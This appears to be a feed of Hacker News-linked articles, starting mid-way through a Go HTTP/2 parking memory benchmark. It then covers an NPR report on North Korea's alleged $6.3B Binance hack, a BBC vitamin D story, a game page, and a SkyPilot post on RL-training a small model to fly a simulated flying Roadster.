I looked at four metrics. RSS measures resident memory for the server process as reported by Linux. Goroutines shows how many goroutines the Go runtime reports. StackInuse describes memory in use by goroutine stacks. HeapAlloc is the amount of allocated heap memory reported by the runtime. These values are related, but they do not measure the same thing.

The largest difference appeared at 5,000 idle connections. The table below shows median RSS from each complete run, in MiB:

Run Go 1.27.2 Go 1.28, parking off Go 1.28, parking on Saved by parking
1 249.89 218.28 129.19 89.08
2 247.18 223.73 131.11 92.62
3 245.60 217.94 133.25 84.70

Compared with the same Go 1.28 binary with parking disabled , enabling parking reduced RSS by 84.7 to 92.6 MiB , or about 38.9% to 41.4% , across the three runs. At 1,000 idle connections, the reduction was smaller but still clear, at about 15.7 to 16.6 MiB .

Median server RSS at different numbers of idle HTTP/2 connections

The zero-connection baseline stayed close to 8.5 to 8.7 MiB across the configurations. I also calculated baseline-adjusted RSS by subtracting each configuration’s zero-connection median. That helps show the growth associated with idle connections, but the main comparison above uses the observed process RSS.

RSS reduction with parking enabled

Fewer goroutines, less stack memory

The goroutine counts helped explain the shape of the result. With 5,000 idle connections, Go 1.28 reported about 10,007 goroutines with parking disabled and 5,007 with parking enabled . That is a difference of exactly 5,000 goroutines in this benchmark. At 1,000 idle connections, the difference was 1,000 goroutines.

Goroutine counts by idle connection count

The stack numbers moved in the same direction. At 5,000 connections, StackInuse was about 99 MiB with parking disabled and about 21 MiB with parking enabled . The reduction was close to 78 MiB in all three complete runs.

Stack and heap memory at 5,000 idle connections

This does not mean that every byte saved in RSS came from stacks. RSS includes more than Go stacks, and changes in heap allocation, runtime state, and the operating system can affect it. It does show that the lower goroutine and stack counts are consistent with the parking mechanism.

HeapAlloc did not tell the same simple story

HeapAlloc was less consistent. In some runs, parking enabled used less heap than parking disabled. In another run, it used slightly more. This is a good reminder that one memory metric cannot stand in for another.

For this experiment, RSS, goroutine count, and StackInuse provide a clearer picture of the difference. I would not describe the change as a fixed heap saving or claim that a certain percentage of total memory always disappears.

Limits of this benchmark

These measurements come from one machine, one benchmark design, and a specific development revision of Go 1.28. They are not results from a final Go 1.28 release. I tested mostly idle connections, not a mix of real traffic, active streams, and application workloads.

The benchmark kept the Go 1.28 server binary the same when switching parking on and off. That makes the parking comparison more useful, but it still does not remove all system noise. The three full runs show a repeatable direction and a range, not a universal guarantee.

The GODEBUG=http2serveparking=0 setting I used for this comparison is temporary and undocumented. I would not treat it as a stable option for future releases.

I have kept the benchmark source at a fixed commit and the tested Go revision linked here so the details can be checked later.

Conclusion

In this benchmark, HTTP/2 parking made a clear difference in memory usage. With 5,000 idle connections, the same Go 1.28 server binary used around 85 to 93 MiB less RSS when parking was enabled. It also had 5,000 fewer goroutines and used about 78 MiB less stack memory.

What I found most interesting was how much memory an otherwise quiet connection can keep around. Changing what the server does while it waits can matter as much as optimizing the work it performs.

I would not apply these numbers to every Go service. Still, for servers that keep many idle HTTP/2 connections open, this is a change worth understanding and measuring with a real workload.

Blockchain intelligence firms link North Korea to $6.3B hack on Binance

Hacker News
www.npr.org
2026-10-30 11:39:05
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Original Article
FILE - The Binance logo is seen on a smartphone, Feb. 28, 2023, in Marple Township, Pa.

FILE - The Binance logo is seen on a smartphone, Feb. 28, 2023, in Marple Township, Pa. Matt Slocum/AP hide caption

Matt Slocum/AP

A U.S.-based blockchain intelligence firm says a North Korean unit was likely behind the hack that impacted more than $6 billion on Binance, the world's biggest cryptocurrency exchange.

Binance said it worked with blockchain partners to freeze roughly $3 billion in affected assets. It said Friday that it was beginning to recover assets for users.

The cryptocurrency exchange said deposits were unaffected, while withdrawals have been suspended and are expected to resume in the next day or two. It said it will cover all losses.

The company said on X that an initial investigation suggested the incident may have involved a compromised laptop, but that a subsequent investigation uncovered additional "points of breach."

TRM, in a post on its website Thursday, attributed the attack to TraderTraitor, which it described as North Korea's elite hacking unit. "We make this judgment with high confidence," the firm said.

"An attacker moved approximately USD 6.36 billion out of Binance wallets on ten blockchains, most of it in about 20 minutes," TRM said. That would make the hack the largest cryptocurrency theft on record, it said.

In February last year, another cryptocurrency exchange, Bybit, suffered a $1.5 billion hit when it was hacked. The FBI said North Korea and TraderTraitor were responsible for the hack.

"Several features of this attack match earlier North Korea-linked heists, including the Bybit hack," TRM said.

Blockchain analysis company Chainalysis also believed the Binance hack was "likely done by DPRK group TraderTraitor," its co-founder and CEO Jonathan Levin wrote on X. DPRK stands for the Democratic People's Republic of Korea, North Korea's official name.

Asked about the potential ties to North Korea, a Binance spokesperson said only that the company is "working closely with our law enforcement partners to confirm the identity of the criminals and bring them to justice."

Experts say North Korea has turned to crypto hacking and other illicit cyber activities as a source of badly needed foreign currency to support its troubled economy and fund its nuclear program in the wake of tough U.N. sanctions and other difficulties.

In December 2022, South Korea's spy agency said North Korean hackers had stolen an estimated 1.5 trillion won ($1.1 billion) in cryptocurrency and other virtual assets in the past five years, more than half of it in 2022 alone. It said North Korea's capacity to steal digital assets was considered among the best in the world.

Changpeng Zhao, also known as CZ, founded Binance in 2017. In 2023, he pleaded guilty to a felony linked to failing to prevent money laundering on the platform, and stepped down as the company's CEO. U.S. President Donald Trump pardoned Zhao in 2025.

Zhao posted Thursday on X that "User funds are safe!" but added that the theft "does look like a hack on Binance." He added that while he doesn't manage Binance anymore, "as a shareholder, I expect all user funds will be fully covered."

The event, meanwhile, also raises questions about why stronger approval controls were not in place, said Kok Tin Gan, cofounder and CEO of cybersecurity firm NyxLab.

"This looks like one signature that gave the attacker a never-expiring, full-access token to a Binance hot wallet," he said, referring to cryptocurrency wallets that hold users' "private keys," or unique authorizations, digitally and which are connected to the internet.

Binance said on X it had "found no evidence of any wallet private key leak" and that the company would release more technical details when its probe is complete.

I didn't know I was lacking in Vitamin D until I collapsed at work

Hacker News
www.bbc.com
2026-10-30 11:36:18
Comments...
Original Article
Watch: "My low Vitamin D levels hit me like a truck"

Twenty-three-year-old Saskia Reeves-Priestley was at work when she suddenly collapsed.

"I just felt really dizzy, really nauseous, was having heart palpitations and was really hot," she says.

Saskia, a special educational needs teacher, was a keen goalkeeper who played football four times a week and felt fit and healthy. While her symptoms are not directly linked to vitamin D deficiency - she realised something was wrong.

Blood tests later showed her level was so low - it was "next to nothing".

According to data from the National Diet and Nutrition Survey, last year nearly a quarter of 11- to 18-year-olds were classed as deficient.

Vitamin D can come from our diet, in foods such as oily fish and meat, or supplements.

But most is made by our body when UV light in sunlight hits the skin. Lower levels of sunlight - depending on where in the world you live or the time of year - decrease the body's ability to produce it.

Covering parts of the body and wearing sunscreen also has an impact - despite their protective advantages.

Those with darker skin need exposure to stronger light to produce the same amount of vitamin D as lighter skin.

Doctors don't routinely offer blood tests to check for vitamin D deficiency, but will offer a supplement if a patient is concerned they might be high risk.

What are the symptoms - and their daily impact?

Vitamin D deficiency is linked to the bone disease rickets in babies and infants. In adults it causes a similar weakening of the bone called osteomalacia .

"They call it the silent disease," says Dr Suma Uday, a paediatric endocrinologist who wants to raise awareness of the problem.

She warns that vitamin D deficiency in young people and adults is difficult to spot and can be missed or misdiagnosed. Symptoms include fatigue and joint and bone pain.

Uday says: "It's basically silently eating away at the bones, leaving them softened and prone to breaks."

Amaka Osu A young woman with long braids is sitting on the grass in a park on a sunny day. She is tilted slightly to her left, smiling gently toward the camera. She is wearing  a cream top, jacket and trousers. Behind her is a paper bag with the word Hunger on it. In the background is a group of young people sitting on the grass Amaka Osu

Amaka Osu says she doesn't think many of her friends realise what the symptoms are

Amaka was in the middle of making dinner at her university house in Liverpool when she started shaking.

"I couldn't really see in front of me," she says. Her housemate took her to A&E - later she too would be diagnosed as vitamin D deficient.

Other than feeling tired, she says she had no symptoms: "I'm a 21-year-old student. I've got work and uni - I'm always feeling tired."

She remembers her mother suffering from low vitamin D but says she did not realise it could happen to her.

After taking supplements, Amaka feels a lot better, but she is anxious in case it happens again. "It was scary and I don't want to experience that again."

Lifelong deficit in girls

Uday joins other clinicians and academics who have formed a group - ACT NOW Vitamin D - calling for the threshold at which you are classified as deficient to be raised.

She says that would "catch" more people with low vitamin D and give a more accurate picture of how widespread the issue is. It would also mean they can treat the deficiency earlier, she says.

Uday warns of "a lifelong deficit" in women - in adolescence, then pregnancy, and then the newborn is affected.

"If you don't correct it from the very beginning," she says, "this is going to affect multiple generations."

Liam Asman A young woman with dark hair tied back, wearing a black football shirt and shorts and padded white goalkeeper gloves is standing poised in the goal mouth. Her hands are out ready and her expression is completely fixed on the ball which is heading towards her. Liam Asman

Saskia Reeves-Priestley plays football four times a week - and had no previous symptoms

"It's shocking," says Prof Martin Hewison, from the University of Birmingham.

He tells me that despite being 100 years on from the discovery of vitamin D "rickets hasn't gone away".

"If we have rickets in the community, there are going to be many more people who are vitamin D deficient."

He says the government should look into wider fortification of food in which vitamins are added to foods during production. Countries like Canada and Sweden have mandatory policies.

In the UK, some foods such as breakfast cereals and spreads are already fortified with vitamin D, but it is voluntary.

During the winter months, people start to lose their vitamin D levels.

"We might have to accept that for certain groups vitamin D supplementation is a matter of course," says Hewison.

Saskia is now taking vitamin D supplements regularly - and is back in goal.

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Show HN: I built a multiplayer game where you're an aerial fighter cat

Hacker News
catcopter.com
2026-10-30 11:29:40
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Original Article

Game mode

Catnip Brawl · Everyone for themselves. Grab catnip, knock it out of the others.

Pick your cat

Gunship

Paw rotors · hovers

Four paw rotors and a machine gun. The all-rounder.

Machine Gun Overdrive

Speed 14 m/s

Health 100

Battery 60s

Difficulty Easy

Post-training 4B model with RL to fly Tesla Roadster 21% better than GPT-6 Astra

Hacker News
skypilot.ai
2026-10-30 11:27:16
Comments...
Original Article

Last Thursday (October 15), Tesla's new Roadster drove off a ramp that curled over until the car was upside down, rolled upright in the air and landed. It then used thrusters to hop over a Cybertruck. Turns out the future does have flying cars.

Elon Musk on X, October 15: "Turns out the future does have flying cars", with a video frame of the Roadster flipping over a row of parked Teslas. 48K replies, 133K reposts, 834K likes, 78M views.

The demo had already been pushed back two weeks, "due to high winds" ( Elon Musk on X ). That made us wonder: with a language model in the pilot's seat, how would the car do in that wind?

We built an RL environment around a physics simulator of a flying roadster to find out, handed the controls to LLMs, and turned the wind up. We let some of the latest best models fly it: DeepSeek V4.1 Flash, Meta's Muse Spark Open, Reflection's Beam 1.0, NVIDIA's Nemotron 3.5 Super VL, TypeSafe's Jev 1.14, and even OpenAI's GPT-6 Astra.

Asked for decisions in real time, these models crashed almost every flight: most take 1 to 6 s to answer, and the car needs a new action every 0.2 s. When we paused the world so the models could think as long as they wanted, they still lost to a 4B model we trained with RL in a storm.

Storm, 33 m/s wind: DeepSeek, with unlimited time to think, comes down leaning and hits the road with its body. Our RL-trained 4B lands level.

TL;DR

  • We built an RL environment around a physics simulator of a flying roadster with four air thrusters, gusty wind and the reveal's two stunts: a ramp flip and a kickflip over a Cybertruck. An LLM flies it with one command every 0.2 s while the car keeps moving.
  • The latest open models can't fly it in real time. DeepSeek V4.1 Flash, Nemotron 3.5 Super, Muse Spark Open and Beam 1.0 take 1 to 6 s per decision and land 0% of kickflips and 3% or less of ramp flips. GPT-6 Astra also lands 0% on the clock.
  • RL post-training made a 4B model our best pilot. Qwen3-4B, trained for about $13, answers in 0.09 s and lands 90% of kickflips in real time. With the world paused for the model to think, the best open model, DeepSeek V4.1 Flash, lands 87% and the other open models land 58 to 62%. Even GPT-6 Astra lands only 74%.
  • Everything is open source, and you can fly your own model without a GPU ( Try it ).

Storm kickflips, 384 held-out flights per model. Open circles are runs with unlimited time to think. In real time, DeepSeek, GPT-6 Astra, Muse, Nemotron and Beam land 0%, and the RL-trained 4B lands 90%.

Storm kickflips, 384 held-out flights per model. Open circles are runs with unlimited time to think. In real time, DeepSeek, GPT-6 Astra, Muse, Nemotron and Beam land 0%, and the RL-trained 4B lands 90%.

Watch how the models fly the car. Pick a stunt, a wind level and a model below to replay the same flight on a held-out scene. The full page also shows the pilot decision every 0.2 seconds, the telemetry the model saw, and how long each reply took.

Four air thrusters lift the car, and push it down when it's upside down

The car is a rigid body, 4.5 m long and 2,000 kg dry, simulated at 500 Hz. Lift comes from four cold-gas thrusters at the corners of the floor of the car. Each thruster is good for 12 kN, fed from one tank of compressed air (110 to 170 kg per flight). They push straight out of the floor. If the left pair fires harder, the car rolls, and if the front pair fires harder, it pitches.

When the car is upside down, the same thrusters push it toward the ground, and that is what makes both stunts hard.

A car falling flat or sideways catches far more wind

A car is built to move nose first. When it falls flat, or the wind hits it from the side, it shows five to nine times as much area to the air, so the wind pushes it around far more. Near the road the wind is weaker, and gusts come on top of the average. Each flight gets a mean wind from a random direction, in one of three bands: light (up to 14 m/s), gale (14 to 24 m/s) or storm (24 to 33 m/s).

The wheels can take a 4 m drop, but the roof can't touch the ground

The car can touch the ground with its four sprung wheels or with its body. It counts as a crash when:

Two stunts from the reveal: a ramp flip and a kickflip over a Cybertruck

In the ramp flip, a ramp curls over and the car leaves the deck upside down 10 to 14 m up, then has to roll upright and land. In the kickflip, the car comes in at 50 to 94 km/h, clears a parked Cybertruck, rolls a full 360 degrees and lands.

A flight succeeds only if the car ends up on all four wheels on the 14 m road, within about 20 degrees of level, no longer spinning, and without a crash. Every task randomizes the speed, the air in the tank, the wind and gusts, and the ramp size or truck position. The held-out tasks use seeds that no model trained on.

What the model sees, and what it sends back

At the start of each flight, the model gets a briefing. It describes the car, the crash rules and the five commands it can send, and then the task. Here is the task part of the briefing for one held-out storm flight:

After that, every 0.2 s of simulated time, the model gets one line of telemetry and replies with one JSON object. Here is the line our trained Qwen 4B model saw 1.2 s into that flight, while it was upside down above the truck:

The model replied {"mode": "rotate", "axis": "roll", "to": 360.0, "lift": 1.0} in 0.15 s, which kept the roll going. The whole flight took 19 replies:

Time

What the telemetry showed

The model's reply

Time to answer

0.0 s

On the road, truck 25.7 m ahead (reached in 1.1 s)

climb at 7 m/s

0.09 s

0.2 to 0.4 s

Lifting off, 0.5 m then 1.2 m up

climb at 7 m/s again

0.09 s

0.6 s

2.3 m up, truck 11.8 m ahead (reached in 0.5 s)

rotate roll to 360°, lift 1.0

0.15 s

0.8 to 1.6 s

Rolling over the truck: 21°, 95°, 182°, 267°, 335°

the same rotate , five times

0.15 s

1.8 s

Upright at 6.7 m, rolled 360°, truck 16 m behind

land

0.08 s

2.0 to 3.4 s

Coming down, then two wheels touch

land , eight more times

0.08 s

3.6 s

All four wheels on the road, 3 m from the center line

coast

0.05 s

The truck part of each line also gives the time until the car reaches the truck and the time until it's past it, at the current speed, so the model doesn't have to do that division itself. Every LLM in this post sees the same lines, and the hand-written pilot below reads the same numbers.

The five commands are coast (all thrusters off), climb (stay level at a given vertical speed), hold (hold a given roll and pitch), rotate (spin about one axis to a total angle, braking to stop on it) and land (level out and come down softly). The model picks one command, with its numbers, in each reply. A flight computer then turns that command into thrust for each of the four thrusters, 50 times a second, until the next reply arrives.

The car doesn't stop while the model thinks

If a model takes 2 s to answer, the car flies ten 0.2 s intervals on the old command before the new one takes over. We time every reply end to end. Only the first decision is untimed, like a plan made before takeoff.

We picked 0.2 s because the kickflip's roll takes about a second and has to start within a few tenths of a second of the right moment. With one second between decisions, no pilot could time it, whether model or script. To separate judgment from speed, we also fly every model a second way, with the simulator paused until each reply arrives, so the model has unlimited time to think.

Half the reward is for a clean landing

For RL the reward runs from 0 to 1. It gives partial credit for height, clearing the truck, rotation and touchdown quality, then 0.4 for a successful landing and 0.1 for a clean finish (soft, with air left, centered on the road).

A pilot written by hand shows that both stunts can be flown

Before training anything, we wanted to know that both stunts can be flown with these five commands. So we wrote a pilot by hand: a few dozen lines of if-then rules that read the same telemetry and send commands through the same 0.2 s interface. On the kickflip, for example, it starts climbing when the truck is 1.1 s away, starts the roll once the car is 1.4 m above the truck's roof, leans against any sideways drift, and lands once the car is past the truck.

The hand-written pilot answers instantly and sees the same inputs to the LLMs. It lands every light-wind ramp flip and 98% of light-wind kickflips, but only 61% of kickflips in a storm. We call it the scripted pilot in the rest of this post.

The scripted pilot flying both stunts in light wind.

We flew four open models (DeepSeek V4.1 Flash, Muse Spark Open, Nemotron 3.5 Super and Beam 1.0), GPT-6 Astra in storms, and Jev 1.14, a model built for fast decisions that picks from a menu of commands instead of writing JSON. Every model flies the same held-out flights as our trained pilot: 192 per stunt in light wind and in a gale, and 384 in a storm. All runs use temperature 0 and each model's default reasoning setting. We called the open models through OpenRouter, with Nemotron, Muse and Beam each pinned to one provider.

With time to think, the models make good calls

When the simulator waits for each reply, the four open models fly the kickflip well in light wind. DeepSeek V4.1 Flash lands 98%, and Muse, Nemotron and Beam land 72 to 82%.

Wind makes it harder even then. In a storm, DeepSeek drops to 87%, Muse to 62%, Nemotron to 60% and Beam to 58%. GPT-6 Astra lands 74% of storm kickflips.

On a running clock, they land 0% of kickflips

With the car moving, all four open models land 0% of kickflips. Their median decision takes 1 to 6 s, so a typical command arrives 5 to 29 intervals after it was needed. In the real-time runs, with 16 flights in parallel, replies were slower still (DeepSeek's median was 2 to 3 s).

GPT-6 Astra takes about 2 s per decision and lands none of its 768 storm flights in real time. On the same clock, our trained 4B lands 90% of storm kickflips.

DeepSeek V4.1 Flash on the same flight, twice. On the left the simulator waits for each reply, and the car lands. On the right the clock keeps running, the replies arrive late, and the car crashes.

Answering faster doesn't fix it

In our first round, with reasoning off, DeepSeek answered in 0.3 s but made worse calls, and Muse and Beam at low effort still took about 2 s per decision. Jev answers in about 0.17 s, fast enough for the clock, but it lands only 2% of storm kickflips live. A pilot has to answer fast and make good calls.

Median decision time against storm kickflip success. Jev and the RL-trained 4B both answer inside 0.2 s, and only the 4B lands most flights (90%).

Median decision time against storm kickflip success. Jev and the RL-trained 4B both answer inside 0.2 s, and only the 4B lands most flights (90%).

The car leaves the deck upside down 10 to 14 m up, and a simple plan works: roll upright, lean against the wind, then brake and land. With the simulator paused, the big models fly it. Muse lands 88 to 97%, DeepSeek about 80%, and GPT-6 Astra 383 of 384 storm flights.

On the clock, none of them gets past 3%. The first command is usually a roll upright, which is correct, but the fall takes under 2 s, and the next reply comes after the car has already hit the road.

A ramp flip in real time. DeepSeek's first command, roll upright, is correct, but its next reply arrives after the car has hit the road. On the right, the trained 4B answers every 0.2 s and lands.

Ramp flip, share that land

Light wind

Gale

Storm

Qwen3-4B, untrained (real time)

100%

99%

85%

Muse Spark Open, unlimited time to think

97%

92%

88%

DeepSeek V4.1 Flash, unlimited time

82%

78%

79%

Beam 1.0, unlimited time

72%

72%

68%

Nemotron 3.5 Super VL, unlimited time

67%

56%

50%

DeepSeek V4.1 Flash, real time

1%

2%

3%

Muse, Beam and Nemotron land 1% or less in real time.

The untrained Qwen3-4B answers in 0.07 s and lands 85 to 100% of ramp flips, but it never lands a kickflip. Like Jev, it's fast enough for the clock. Unlike Jev, it's a model we can train, so it's where we started.

Post-training a Qwen3-4B pilot #

We started from Qwen3-4B-Instruct-2507 with a rank-64 LoRA (small add-on weights that train while the base model stays frozen). The training code is SkyRL, an open-source RL library. The final model took about 4 GPU-hours of training, or $13.

A warm start, then 60 steps of RL

Training has two stages:

  • Warm start (2 hours 20 minutes): supervised fine-tuning on flights that landed: 64 scripted light-wind flights per stunt, plus 350 gale and storm kickflips that DeepSeek V4.1 Flash landed on training seeds with the simulator paused. We train one epoch, with the loss only on the pilot's replies. Most of the time goes to moving optimizer state off the GPU, so that the model fits in GPU memory.
  • RL (1 hour 35 minutes): GRPO flies the same task several times and pushes the model toward the attempts that beat the group average. Each of the 60 steps flies 16 tasks, 8 flights each, across all three wind levels. Every 0.2 s decision is one conversation turn, and the reward is for the whole flight. The trainer shares the GPU with the vLLM server that flies the model.

We save a checkpoint every 5 steps, pick one using separate validation seeds only, and then fly the held-out seeds once. The recipe itself came out of many rounds of experiments scored on validation seeds, and we held the test seeds back for this one final run.

The RL-trained 4B landing a storm kickflip in real time.

The rest of this section is how we got to that recipe.

Why RL alone never learned the kickflip

The first run, RL from the untrained model, picked up the ramp flip in 10 steps. The kickflip reward started at 0.07 and stayed there. Of 68 kickflip decisions, 66 were a roll, and 21 of 22 first moves rolled at t=0 with the wheels still on the road, which puts the car on its roof.

All 8 flights in a group crashed the same way and got the same reward. GRPO learns by comparing samples within a group, so when they're all the same it has nothing to go on.

The same light-wind flight before and after training. Untrained, Qwen3-4B starts the roll with its wheels on the road and tips onto its roof. After imitation and RL, it climbs first and then rolls.

We tried two cheap fixes. First, we added a line to the briefing saying that rolling on the road tips the car over. The opening move became a roll with maximum lift, which still ended on the roof.

Second, we started half the practice flights partway through, after the scripted pilot had flown the opening (a reverse curriculum, borrowed from robotics). Training success rose to about 70%, but held-out success from t=0 stayed at zero, because the model only learned to finish a flip that the scripted pilot had started.

The warm start used two teachers, each in the wind it flew best

The warm start is what worked, and most LLM RL recipes start with one anyway. The hard part was choosing what to imitate, because neither pilot we had was good in every wind:

  • The scripted pilot is good in light wind and bad in storms (61% of storm kickflips).
  • DeepSeek with unlimited time is good in storms, but it takes about a second per decision, too slow to fly the car live.

So the warm start copies the scripted pilot's light-wind flights and DeepSeek's landed gale and storm flights. On its own, the warm start already lands 97%, 93% and 84% of held-out kickflips in light wind, gale and storm, which is close to DeepSeek except in storms.

RL improves further on what the teachers taught

RL starts from what the warm start copied, then practices where the teachers were weakest. Two choices in its training mix came from reading failed flights:

  • Storm counts double. Storms are where the reward is hardest to earn, so the training mix has twice as many storm flights as light or gale.
  • Practice the slow approaches. An earlier model lost to DeepSeek in light wind on one kind of flight: a slow car (14 to 16 m/s) with the truck about 3 s away. It sent land at the same moment it always did, about 1.8 s in, and came down on the truck. On the same flights, DeepSeek held its height until the telemetry said it was past the truck, then landed. In the final run, half of the training kickflips are these slow, far-truck cases, so RL has to learn to wait.

Kickflip. Share of held-out test flights that land, with the number landed in brackets. There are 192 flights per wind level in light wind and gale and 384 in a storm, and every row flies the same tasks.

Pilot

Light wind

Gale

Storm

Scripted pilot (hand-written rules, decides instantly)

98% (188)

83% (160)

61% (233)

DeepSeek V4.1 Flash, real time

0% (0)

0% (0)

0% (0)

DeepSeek V4.1 Flash, unlimited time to think

98% (189)

90% (172)

87% (334)

Qwen3-4B, no training (real time)

0% (0)

0% (0)

0% (0)

Qwen3-4B after imitation only: fine-tuned on the teachers' flights, no RL yet

97% (187)

93% (179)

84% (322)

Qwen3-4B after imitation + RL (real time)

96% (185)

96% (184)

90% (347)

The trained pilot answers in 0.09 s (served by vLLM, one flight at a time), inside the 0.2 s interval, so none of its commands arrive late. Every flight ends the same way whether the simulator runs in real time or waits for it.

RL's part shows up in the storm. The same model after imitation only lands 322 of the 384 storm flights, and after RL it lands 347. Flight by flight, 26 storm tasks land only after RL and 1 only without it (exact paired test, p < 0.000001). In light wind and gale the warm start was already close, and RL moves them by a few flights either way.

Against DeepSeek with unlimited time to think, flight by flight on the same tasks:

  • Gale: 13 flights only the 4B landed, 1 only DeepSeek (exact paired test, p = 0.002).
  • Storm: 29 to 16 (p = 0.07). The 4B is ahead, but p is above the 0.05 threshold we set before running the test, so we don't count the storm lead as significant.
  • Light wind: 2 to 6 (p = 0.29). DeepSeek is a few flights better, and so is the scripted pilot (188 to 185).

Against GPT-6 Astra with unlimited time, on all 384 storm kickflips, the 4B is clearly ahead: it lands 347 to Astra's 286, or 21% more. 70 land only for the 4B and 9 only for Astra (exact paired test, p < 0.001). On the storm ramp, Astra is slightly ahead, 8 flights to 1 (p = 0.04).

RL runs vary. Rerunning the same recipe landed 85 to 92 of 96 validation storm flights, and the run we kept was the best of them. A rerun would most likely land about as many storm kickflips as DeepSeek.

Ramp flip. Same test set and sizes as the kickflip table.

Pilot

Light wind

Gale

Storm

Scripted pilot (hand-written rules, decides instantly)

100% (192)

100% (192)

96% (368)

DeepSeek V4.1 Flash, real time

1% (2)

2% (3)

3% (11)

DeepSeek V4.1 Flash, unlimited time to think

82% (157)

78% (149)

79% (304)

Muse Spark Open, unlimited time to think

97% (186)

92% (176)

88% (336)

Qwen3-4B, no training (real time)

100% (192)

99% (190)

85% (325)

Qwen3-4B after imitation only: fine-tuned on the teachers' flights, no RL yet

100% (192)

100% (192)

96% (369)

Qwen3-4B after imitation + RL (real time)

100% (192)

100% (192)

98% (376)

On the ramp, imitation does most of the work. After imitation alone the 4B already flies it almost exactly like the scripted pilot, and RL adds a little on top. 7 storm ramps land only after RL and none only without it (p = 0.02), and 8 land where the scripted pilot fails, with none the other way.

The stronger the wind, the bigger the 4B's lead

Kickflip success by wind level for the scripted pilot, DeepSeek with unlimited time to think, and the RL-trained 4B.

Kickflip success by wind level for the scripted pilot, DeepSeek with unlimited time to think, and the RL-trained 4B.

The scripted pilot is nearly perfect in light wind and drops sharply in a storm, from 98% to 61%. DeepSeek holds up better, from 98% to 87%, but needs about a second per decision.

The trained 4B goes from 96% to 90%. It loses a little to both teachers in light wind and beats both once the wind picks up. Choosing the teachers by wind level got it most of the way there. The warm start alone lands 84% in storms, and RL takes it to 90%.

The same storm flight, flown by the scripted pilot (left) and the RL-trained 4B (right). The scripted pilot's body hits the road before its wheels do, and the 4B touches down on its wheels.

The failed flights look different, too. In storms, 34 of DeepSeek's 50 failed flights end with the car's body hitting the road before its wheels. 23 of the trained 4B's 37 end in a level landing just off the 14 m road.

Among storm flights that land, the 4B's are a little shorter than DeepSeek's (3.6 s against 3.9 s, median) and finish with more air in the tank (24% against 18%), so it has thrust left to settle the car. We didn't reward short flights directly. The reward pays for a soft, centered landing with air left, and RL found shorter flights on its own.

How far the car leans on the way down, DeepSeek against the trained 4B on the same storm flight. DeepSeek is still leaning about 20° into the wind when its body hits the road.

1. The simulator must capture realistic scenarios

We scored every model twice on the same flights, and the ranking flipped. With the simulator paused, DeepSeek V4.1 Flash was the best kickflip pilot we tested. With the car moving, it landed nothing.

Most LLM benchmarks give the model as much time as it needs to answer, just like our paused runs. If your model has to act while the world keeps moving, like a vehicle or a voice agent, the time it takes to decide is part of the score, so measure how fast it decides along with how well.

2. DeepSeek beat bigger models while running fewer parameters per token

With unlimited time to think, DeepSeek V4.1 Flash beat every other open model we tested by a wide margin: 98% of kickflips in light wind and 87% in a storm, against 72 to 82% and 58 to 62% for the rest. It runs only 16B of its 552B parameters per output token. That is the fewest of the group except Nemotron 3.5 Super (12B of 120B), and well under Muse Spark Open (42B of 816B) and Beam 1.0 (23B of 501B). The best pilot of all was smaller still, a dense 4B after RL. On a task this narrow, how a model was trained mattered more than how many of its parameters run per token.

3. RL improved the 4B model beyond its teachers

The warm start copied two teachers, each good in a different wind setting. After RL, on the same held-out flights, the 4B model beats the scripted pilot by 30 points in storms, beats DeepSeek in gales, and is slightly ahead of it in storms. It doesn't beat either teacher in light wind, where both were already near perfect.

Imitation brought the 4B up to the teachers' level, and RL on the real objective moved it past them where there was room to improve. In storms that was 25 more landings out of 384 than the warm start alone, with only 1 flight going the other way.

4. GRPO needs attempts that differ at the hard decision

Our first runs failed for a reason that's easy to miss. GRPO compares a group of attempts at the same task. When all eight crash the same way, they all get the same reward, and the model has nothing to learn from. Starting practice partway through the flight raised training success to 70% and left held-out success at zero, because the model never practiced the opening move, which was the hard part. A short warm start fixed it by making the attempts differ at that decision.

Obviously, this says nothing about flying a real car. A real car would use a conventional controller, and even our scripted pilot decides instantly, which no LLM does.

It also isn't how a robotics team would build this pilot. Hierarchical systems like Figure's Helix run a 7B vision-language model at 7 to 9 Hz on top of an 80M-parameter policy at 200 Hz. The large model chooses what to do, and the small policy turns that into motor commands 200 times a second. Our stack has the same two layers, with a 50 Hz flight computer holding attitude and vertical speed underneath the LLM, but our fast layer is scripted and makes no decisions.

We deliberately left the one timing-sensitive decision, when to start the roll, to the language model, because we wanted to know whether an LLM can make that call against a clock. We haven't trained a classic controller policy (for example, PPO with a small network) on the simulator, and we'd expect one to land nearly everything.

The RL environment and every vehicle parameter in it are our own assumptions, and it's one environment with two stunts. Held-out means unseen seeds (wind, speeds, ramp and truck placement) of the same two stunts, not new stunts. DeepSeek's storm flights were part of the warm start, so in storms the 4B is compared with a model whose flights it learned from.

The final model took about 4 GPU-hours (2 h 20 min of warm start, 1 h 35 min of RL), roughly $13 (at ~$3.39/h per H100). Finding the recipe took many more runs. We ran each training run and each evaluation as a SkyPilot managed job, up to six at a time, and SkyPilot found a free GPU for each one. When a cluster node went bad mid-run, SkyPilot reported the stuck jobs and we relaunched them on other nodes.

Training, rollouts and evals run side by side as one Job Group

An RL run does three things at once. It updates the model, it generates rollouts with the latest weights, and it scores checkpoints. A SkyPilot Job Group launches these as one managed job, with each part on its own hardware:

  • The trainer runs GRPO on its own H100 and writes new LoRA weights every step to a volume it shares with the inference server.
  • The inference server runs vLLM on another H100 and generates the rollouts with those weights.
  • An eval watcher starts an evaluation for each new checkpoint. Each evaluation gets its own GPU, runs alongside training, and joins the same Job Group as one more task.

One job, all running at once: the trainer, the inference server, the eval watcher, and the step-5 eval it launched (marked Dynamic).

One job, all running at once: the trainer, the inference server, the eval watcher, and the step-5 eval it launched (marked Dynamic).

The numbers in this post come from the same recipe run as separate training and evaluation jobs. The Job Group version is train_eval.yaml in the repo. For every evaluation, vLLM serves the checkpoint and tools/pilot_bench.py flies it over the OpenAI-compatible API, the same code path as every other model in the benchmark.

SkyPilot is open source ( pip install skypilot ) and everything above runs on it. The RL environment, prompts and SkyPilot files are in the flying-roadster-rl example in the SkyPilot repo.

Fly your own model. The benchmark talks to any OpenAI-compatible endpoint and defaults to SkyPilot Tokens , which serves DeepSeek V4.1 Flash, Muse Spark Open and other open models. Create an account there for an API key, clone the repo, cd llm/flying-roadster-rl , and run:

Drop --realtime to give the model unlimited time to think. --endpoint openrouter uses $OPENROUTER_API_KEY instead. For a local server or any other OpenAI-compatible API, pass --base-url (and --api-key-env if the key lives in another variable). A local server needs no key.

To train your own pilot, with checkpoints evaluated as they land, launch the Job Group. You'll need a Kubernetes cluster with two free H100s and a shared volume, plus an S3 bucket:

